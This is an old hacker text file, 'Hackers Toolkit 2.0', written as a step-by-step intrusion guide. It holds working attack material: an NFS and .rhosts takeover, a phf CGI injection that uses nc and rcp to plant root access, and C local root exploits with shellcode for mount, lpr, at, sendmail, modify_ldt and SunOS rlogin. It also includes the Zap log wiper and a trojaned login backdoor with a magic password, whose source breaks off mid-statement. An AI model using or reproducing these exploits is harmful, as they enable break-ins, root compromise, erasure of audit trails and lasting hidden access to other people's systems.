Hackers Toolkit 2.0

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Text File | 1999-11-04 | 47.4 KB | 1,915 lines

User's guide __________________________ Well, howdi folks... I guess you are all wondering who's this guy (me) that's trying to show you a bit of everything... ? Well, I ain't telling you anything of that... Copyright, and other stuff like this (below). Copyright and stuff... ______________________ If you feel offended by this subject (hacking) or you think that you could do better, don't read the below information... This file is for educational purposes ONLY...;) I ain't responsible for any damages you made after reading this...(I'm very serious...) So this can be copied, but not modified (send me the changes, and if they are good, I'll include them ). Don't read it, 'cuz it might be illegal. I warned you... If you would like to continue, press <PgDown>. Intro: Hacking step by step. _________________________________________________________________________________ Well, this ain't exactely for begginers, but it'll have to do. What all hackers has to know is that there are 4 steps in hacking... Step 1: Getting access to site. Step 2: Hacking r00t. Step 3: Covering your traces. Step 4: Keeping that account. Ok. In the next pages we'll see exactely what I ment. Step 1: Getting access. _______ Well folks, there are several methods to get access to a site. I'll try to explain the most used ones. The first thing I do is see if the system has an export list: mysite:~>/usr/sbin/showmount -e victim.site.com RPC: Program not registered. If it gives a message like this one, then it's time to search another way in. What I was trying to do was to exploit an old security problem by most SUN OS's that could allow an remote attacker to add a .rhosts to a users home directory... (That was possible if the site had mounted their home directory. Let's see what happens... mysite:~>/usr/sbin/showmount -e victim1.site.com /usr victim2.site.com /home (everyone) /cdrom (everyone) mysite:~>mkdir /tmp/mount mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/ mysite:~>ls -sal /tmp/mount total 9 1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ 1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ 1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ 1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ 1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ 1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ 1 -rw------- 1 root root 242 Mar 9 1997 sudoers 1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ 1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/ Well, we wanna hack into rapper's home. mysite:~>id uid=0 euid=0 mysite:~>whoami root mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might forget it on the remote server... mysite:~>su - rapper Welcome to rapper's user. mysite:~>ls -lsa /tmp/mount/ total 9 1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ 1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ 1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ 1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ 1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ 1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ 1 -rw------- 1 root root 242 Mar 9 1997 sudoers 1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ 1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/ So we own this guy's home directory... mysite:~>echo "+ +" > rapper/.rhosts mysite:~>cd / mysite:~>rlogin victim1.site.com Welcome to Victim.Site.Com. SunOs ver....(crap). victim1:~$ This is the first method... Another method could be to see if the site has an open 80 port. That would mean that the site has a web page. (And that's very bad, 'cuz it usually it's vulnerable). Below I include the source of a scanner that helped me when NMAP wasn't written. (Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor). NMAP is a scanner that does even stealth scanning, so lots of systems won't record it. /* -*-C-*- tcpprobe.c */ /* tcpprobe - report on which tcp ports accept connections */ /* IO ERROR, error@axs.net, Sep 15, 1995 */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <netdb.h> #include <signal.h> int main(int argc, char **argv) { int probeport = 0; struct hostent *host; int err, i, net; struct sockaddr_in sa; if (argc != 2) { printf("Usage: %s hostname\n", argv[0]); exit(1); } for (i = 1; i < 1024; i++) { strncpy((char *)&sa, "", sizeof sa); sa.sin_family = AF_INET; if (isdigit(*argv[1])) sa.sin_addr.s_addr = inet_addr(argv[1]); else if ((host = gethostbyname(argv[1])) != 0) strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr); else { herror(argv[1]); exit(2); } sa.sin_port = htons(i); net = socket(AF_INET, SOCK_STREAM, 0); if (net < 0) { perror("\nsocket"); exit(2); } err = connect(net, (struct sockaddr *) &sa, sizeof sa); if (err < 0) { printf("%s %-5d %s\r", argv[1], i, strerror(errno)); fflush(stdout); } else { printf("%s %-5d accepted. \n", argv[1], i); if (shutdown(net, 2) < 0) { perror("\nshutdown"); exit(2); } } close(net); } printf(" \r"); fflush(stdout); return (0); } Well, now be very carefull with the below exploits, because they usually get logged. Besides, if you really wanna get a source file from /cgi-bin/ use this sintax : lynx http://www.victim1.com//cgi-bin/finger If you don't wanna do that, then do a : mysite:~>echo "+ +" > /tmp/rhosts mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+ /root/.rhosts" | nc -v - 20 victim1.site.com 80 then mysite:~>rlogin -l root victim1.site.com Welcome to Victim1.Site.Com. victim1:~# Or, maybe, just try to find out usernames and passwords... The usual users are "test", "guest", and maybe the owner of the site... I usually don't do such things, but you can... Or if the site is really old, use that (quote site exec) old bug for wu.ftpd. There are a lot of other exploits, like the remote exploits (innd, imap2, pop3, etc...) that you can find at rootshell.connectnet.com or at dhp.com/~fyodor. Enough about this topic. (besides, if you can finger the site, you can figgure out usernames and maybe by guessing passwords (sigh!) you could get access to the site). Step 2: Hacking r00t. ______ First you have to find the system it's running... a). LINUX ALL versions: A big bug for all linux versions is mount/umount and (maybe) lpr. /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/mount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } /*LPR exploit:I don't know the author...*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } b.) Version's 1.2.* to 1.3.2 NLSPATH env. variable exploit: /* It's really annoying for users and good for me... AT exploit gives only uid=0 and euid=your_usual_euid. */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define path "/usr/bin/at" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n"); setenv("NLSPATH",buff,1); execl(path, "at",NULL); } SENDMAIL exploit: (don't try to chmod a-s this one... :) ) /* SENDMAIL Exploit for Linux */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define path "/usr/bin/sendmail" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("SENDMAIL exploit discovered by me, _PHANTOM_ in 1997\n"); setenv("NLSPATH",buff,1); execl(path, "sendmail",NULL); } MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT) !!!) /* this is a hack of a hack. a valid System.map was needed to get this sploit to werk.. but not any longer.. This sploit will give you root if the modify_ldt bug werks.. which I beleive it does in any kernel before 1.3.20 .. QuantumG */ /* original code written by Morten Welinder. * * this required 2 hacks to work on the 1.2.13 kernel that I've tested on: * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed. * 2. the _task in the System.map file has no leading underscore. * I am not sure at what point these were changed, if you are * using this on a newer kernel compile with NEWERKERNEL defined. * -ReD */ #include <linux/ldt.h> #include <stdio.h> #include <linux/unistd.h> #include <signal.h> #ifdef NEWERKERNEL #include <asm/sigcontext.h> #endif #define __KERNEL__ #include <linux/sched.h> #include <linux/module.h> static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table); static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount) #define KERNEL_BASE 0xc0000000 /* ------------------------------------------------------------------------ */ static __inline__ unsigned char __farpeek (int seg, unsigned ofs) { unsigned char res; asm ("mov %w1,%%gs ; gs; movb (%2),%%al" : "=a" (res) : "r" (seg), "r" (ofs)); return res; } /* ------------------------------------------------------------------------ */ static __inline__ void __farpoke (int seg, unsigned ofs, unsigned char b) { asm ("mov %w0,%%gs ; gs; movb %b2,(%1)" : /* No results. */ : "r" (seg), "r" (ofs), "r" (b)); } /* ------------------------------------------------------------------------ */ void memgetseg (void *dst, int seg, const void *src, int size) { while (size-- > 0) *(char *)dst++ = __farpeek (seg, (unsigned)(src++)); } /* ------------------------------------------------------------------------ */ void memputseg (int seg, void *dst, const void *src, int size) { while (size-- > 0) __farpoke (seg, (unsigned)(dst++), *(char *)src++); } /* ------------------------------------------------------------------------ */ int main () { int stat, i,j,k; struct modify_ldt_ldt_s ldt_entry; FILE *syms; char line[100]; struct task_struct **task, *taskptr, thistask; struct kernel_sym blah[4096]; printf ("Bogusity checker for modify_ldt system call.\n"); printf ("Testing for page-size limit bug...\n"); ldt_entry.entry_number = 0; ldt_entry.base_addr = 0xbfffffff; ldt_entry.limit = 0; ldt_entry.seg_32bit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA; ldt_entry.read_exec_only = 0; ldt_entry.limit_in_pages = 1; ldt_entry.seg_not_present = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) /* Continue after reporting error. */ printf ("This bug has been fixed in your kernel.\n"); else { printf ("Shit happens: "); printf ("0xc0000000 - 0xc0000ffe is accessible.\n"); } printf ("Testing for expand-down limit bug...\n"); ldt_entry.base_addr = 0x00000000; ldt_entry.limit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK; ldt_entry.limit_in_pages = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) { printf ("This bug has been fixed in your kernel.\n"); return 1; } else { printf ("Shit happens: "); printf ("0x00000000 - 0xfffffffd is accessible.\n"); } i = get_kernel_syms(blah); k = i+10; for (j=0; j<i; j++) if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j; if (k==i+10) { printf("current not found!!!\n"); return(1); } j=k; taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value); memgetseg (&taskptr, 7, taskptr, sizeof (taskptr)); taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr); memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); } printf("Current process is %i\n",thistask.pid); taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr); memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); } printf("Parent process is %i\n",thistask.pid); thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0; thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0; memputseg (7, taskptr, &thistask, sizeof (thistask)); printf ("Shit happens: parent process is now root process.\n"); return 0; }; c.) Other linux versions: Sendmail exploit: #/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c # # echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd echo "Now type: /tmp/sh" SUNOS: Rlogin exploit: (arghh!) #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 8200 #define EXTRA 100 #define STACK_OFFSET 4000 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } Want more exploits? Get 'em from other sites (like rootshell, dhp.com/~fyodor, etc...). Step 3: Covering your tracks: ______ For this you could use lots of programs like zap, utclean, and lots of others... Watch out, ALWAYS after you cloaked yourself to see if it worked do a: victim1:~$ who ...(crap)... victim1:~$ finger ...;as;;sda... victim1:~$w ... If you are still not cloaked, look for wtmpx, utmpx and other stuff like that. The only cloaker (that I know) that erased me even from wtmpx/utmpx was utclean. But I don't have it right now, so ZAP'll have to do the job. /* Title: Zap.c (c) rokK Industries Sequence: 911204.B Syztems: Kompiles on SunOS 4.+ Note: To mask yourself from lastlog and wtmp you need to be root, utmp is go+w on default SunOS, but is sometimes removed. Kompile: cc -O Zap.c -o Zap Run: Zap <Username> Desc: Will Fill the Wtmp and Utmp Entries corresponding to the entered Username. It also Zeros out the last login data for the specific user, fingering that user will show 'Never Logged In' Usage: If you cant find a usage for this, get a brain. */ #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <utmp.h> #include <lastlog.h> #include <pwd.h> int f; void kill_tmp(name,who) char *name, *who; { struct utmp utmp_ent; if ((f=open(name,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_tmp("/etc/utmp",argv[1]); kill_tmp("/usr/adm/wtmp",argv[1]); kill_lastlog(argv[1]); printf("Zap!\n"); } else printf("Error.\n"); } Step 4: Keeping that account. _______ This usually means that you'll have to install some programs to give you access even if the root has killed your account... (DAEMONS!!!) =>|-@ Here is an example of a login daemon from the DemonKit (good job, fellows...) LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date of creation. (use touch --help to see how!) /* This is a simple trojanized login program, this was designed for Linux and will not work without modification on linux. It lets you login as either a root user, or any ordinary user by use of a 'magic password'. It will also prevent the login from being logged into utmp, wtmp, etc. You will effectively be invisible, and not be detected except via 'ps'. */ #define BACKDOOR "password" int krad=0; /* This program is derived from 4.3 BSD software and is subject to the copyright notice below. The port to HP-UX has been motivated by the incapability of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes. Changes: - General HP-UX portation. Use of facilities not available in HP-UX (e.g. setpriority) has been eliminated. Utmp/wtmp handling has been ported. - The program uses BSD command line options to be used in connection with e.g. 'rlogind' i.e. 'new login'. - HP features left out: logging of bad login attempts in /etc/btmp, they are sent to syslog password expiry '*' as login shell, add it if you need it - BSD features left out: quota checks password expiry analysis of terminal type (tset feature) - BSD features thrown in: Security logging to syslogd. This requires you to have a (ported) syslog system -- 7.0 comes with syslog 'Lastlog' feature. - A lot of nitty gritty details has been adjusted in favour of HP-UX, e.g. /etc/securetty, default paths and the environment variables assigned by 'login'. - We do *nothing* to setup/alter tty state, under HP-UX this is to be done by getty/rlogind/telnetd/some one else. Michael Glad (glad@daimi.dk) Computer Science Department Aarhus University Denmark 1990-07-04 1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port: - now explictly sets non-blocking mode on descriptors - strcasecmp is now part of HP-UX 1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12 From 1992 till now (1995) this code for Linux has been maintained at ftp.daimi.aau.dk:/pub/linux/poe/ */ /* * Copyright (c) 1980, 1987, 1988 The Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * duplicated in all such forms and that any documentation, * advertising materials, and other materials related to such * distribution and use acknowledge that the software was developed * by the University of California, Berkeley. The name of the * University may not be used to endorse or promote products derived * from this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #ifndef lint char copyright[] = "@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.\n\ All rights reserved.\n"; #endif /* not lint */ #ifndef lint static char sccsid[] = "@(#)login.c 5.40 (Berkeley) 5/9/89"; #endif /* not lint */ /* * login [ name ] * login -h hostname (for telnetd, etc.) * login -f name (for pre-authenticated login: datakit, xterm, etc.) */ /* #define TESTING */ #ifdef TESTING #include "param.h" #else #include <sys/param.h> #endif #include <ctype.h> #include <unistd.h> #include <getopt.h> #include <memory.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/file.h> #include <termios.h> #include <string.h> #define index strchr #define rindex strrchr #include <sys/ioctl.h> #include <signal.h> #include <errno.h> #include <grp.h> #include <pwd.h> #include <setjmp.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/syslog.h> #include <sys/sysmacros.h> #include <netdb.h> #ifdef TESTING # include "utmp.h" #else # include <utmp.h> #endif #ifdef SHADOW_PWD #include <shadow.h> #endif #ifndef linux #include <tzfile.h> #include <lastlog.h> #else struct lastlog { long ll_time; char ll_line[12]; char ll_host[16]; }; #endif #include "pathnames.h" #define P_(s) () void opentty P_((const char *tty)); void getloginname P_((void)); void timedout P_((void)); int rootterm P_((char *ttyn)); void motd P_((void)); void sigint P_((void)); void checknologin P_((void)); void dolastlog P_((int quiet)); void badlogin P_((char *name)); char *stypeof P_((char *ttyid)); void checktty P_((char *user, char *tty)); void getstr P_((char *buf, int cnt, char *err)); void sleepexit P_((int eval)); #undef P_ #ifdef KERBEROS #include <kerberos/krb.h> #include <sys/termios.h> char realm[REALM_SZ]; int kerror = KSUCCESS, notickets = 1; #endif #ifndef linux #define TTYGRPNAME "tty" /* name of group to own ttys */ #else # define TTYGRPNAME "other" # ifndef MAXPATHLEN # define MAXPATHLEN 1024 # endif #endif /* * This bounds the time given to login. Not a define so it can * be patched on machines where it's too small. */ #ifndef linux int timeout = 300; #else int timeout = 60; #endif struct passwd *pwd; int failures; char term[64], *hostname, *username, *tty; char thishost[100]; #ifndef linux struct sgttyb sgttyb; struct tchars tc = { CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK }; struct ltchars ltc = { CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT }; #endif char *months[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; /* provided by Linus Torvalds 16-Feb-93 */ void opentty(const char * tty) { int i; int fd = open(tty, O_RDWR); for (i = 0 ; i < fd ; i++) close(i); for (i = 0 ; i < 3 ; i++) dup2(fd, i); if (fd >= 3) close(fd); } int main(argc, argv) int argc; char **argv; { extern int errno, optind; extern char *optarg, **environ; struct timeval tp; struct tm *ttp; struct group *gr; register int ch; register char *p; int ask, fflag, hflag, pflag, cnt; int quietlog, passwd_req, ioctlval; char *domain, *salt, *ttyn, *pp; char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10]; char *ctime(), *ttyname(), *stypeof(); time_t time(); void timedout(); char *termenv; #ifdef linux char tmp[100]; /* Just as arbitrary as mountain time: */ /* (void)setenv("TZ", "MET-1DST",0); */ #endif (void)signal(SIGALRM, timedout); (void)alarm((unsigned int)timeout); (void)signal(SIGQUIT, SIG_IGN); (void)signal(SIGINT, SIG_IGN); (void)setpriority(PRIO_PROCESS, 0, 0); #ifdef HAVE_QUOTA (void)quota(Q_SETUID, 0, 0, 0); #endif /* * -p is used by getty to tell login not to destroy the environment * -f is used to skip a second login authentication * -h is used by other servers to pass the name of the remote * host to login so that it may be placed in utmp and wtmp */ (void)gethostname(tbuf, sizeof(tbuf)); (void)strncpy(thishost, tbuf, sizeof(thishost)-1); domain = index(tbuf, '.'); fflag = hflag = pflag = 0; passwd_req = 1; while ((ch = getopt(argc, argv, "fh:p")) != EOF) switch (ch) { case 'f': fflag = 1; break; case 'h': if (getuid()) { (void)fprintf(stderr, "login: -h for super-user only.\n"); exit(1); } hflag = 1; if (domain && (p = index(optarg, '.')) && strcasecmp(p, domain) == 0) *p = 0; hostname = optarg; break; case 'p': pflag = 1; break; case '?': default: (void)fprintf(stderr, "usage: login [-fp] [username]\n"); exit(1); } argc -= optind; argv += optind; if (*argv) { username = *argv; ask = 0; } else ask = 1; #ifndef linux ioctlval = 0; (void)ioctl(0, TIOCLSET, &ioctlval); (void)ioctl(0, TIOCNXCL, 0); (void)fcntl(0, F_SETFL, ioctlval); (void)ioctl(0, TIOCGETP, &sgttyb); sgttyb.sg_erase = CERASE; sgttyb.sg_kill = CKILL; (void)ioctl(0, TIOCSLTC, <c); (void)ioctl(0, TIOCSETC, &tc); (void)ioctl(0, TIOCSETP, &sgttyb); /* * Be sure that we're in * blocking mode!!! * This is really for HPUX */ ioctlval = 0; (void)ioctl(0, FIOSNBIO, &ioctlval); #endif for (cnt = getdtablesize(); cnt > 2; cnt--) close(cnt); ttyn = ttyname(0); if (ttyn == NULL || *ttyn == '\0') { (void)sprintf(tname, "%s??", _PATH_TTY); ttyn = tname; } setpgrp(); { struct termios tt, ttt; tcgetattr(0, &tt); ttt = tt; ttt.c_cflag &= ~HUPCL; if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) { tcsetattr(0,TCSAFLUSH,&ttt); signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */ vhangup(); signal(SIGHUP, SIG_DFL); } setsid(); /* re-open stdin,stdout,stderr after vhangup() closed them */ /* if it did, after 0.99.5 it doesn't! */ opentty(ttyn); tcsetattr(0,TCSAFLUSH,&tt); } if (tty = rindex(ttyn, '/')) ++tty; else tty = ttyn; openlog("login", LOG_ODELAY, LOG_AUTH); for (cnt = 0;; ask = 1) { ioctlval = 0; #ifndef linux (void)ioctl(0, TIOCSETD, &ioctlval); #endif if (ask) { fflag = 0; getloginname(); } checktty(username, tty); (void)strcpy(tbuf, username); if (pwd = getpwnam(username)) salt = pwd->pw_passwd; else salt = "xx"; /* if user not super-user, check for disabled logins */ if (pwd == NULL || pwd->pw_uid) checknologin(); /* * Disallow automatic login to root; if not invoked by * root, disallow if the uid's differ. */ if (fflag && pwd) { int uid = getuid(); passwd_req = pwd->pw_uid == 0 || (uid && uid != pwd->pw_uid); } /* * If trying to log in as root, but with insecure terminal, * refuse the login attempt. */ if (pwd 